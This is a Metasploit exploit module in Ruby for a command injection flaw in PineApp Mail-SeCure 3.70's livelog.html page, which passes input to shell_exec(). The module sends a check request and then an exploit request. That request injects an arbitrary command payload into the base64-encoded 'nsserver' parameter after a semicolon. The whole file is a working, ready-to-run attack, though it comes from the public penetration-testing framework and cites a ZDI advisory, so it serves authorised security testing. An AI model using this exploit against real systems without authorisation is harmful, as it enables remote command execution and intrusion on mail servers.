metasploit-gs/modules/exploits/linux/http/pineapp_livelog_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
          3.70. The vulnerability exists on the livelog.html component, due to the insecure
          usage of the shell_exec() php function. This module has been tested successfully
          on PineApp Mail-SeCure 3.70.
        },
        'Author' => [
          'Unknown', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'ZDI', '13-184'],
          [ 'OSVDB', '95779']
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl python telnet'
                        }
        },
        'Targets' => [
          [ 'PineApp Mail-SeCure 3.70', {}]
        ],
        'DefaultOptions' => {
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-07-26',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )
  end

  def my_uri
    return normalize_uri("/livelog.html")
  end

  def check
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'cmd' => 'nslookup',
        'nstype' => Rex::Text.encode_base64("A"),
        'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
        'nsserver' => Rex::Text.encode_base64("127.0.0.1")
      }
    })
    if res and res.code == 200 and res.body =~ /NS Query result for 127\.0\.0\.1/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'cmd' => 'nslookup',
        'nstype' => Rex::Text.encode_base64("A"),
        'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
        'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}")
      }
    })
  end
end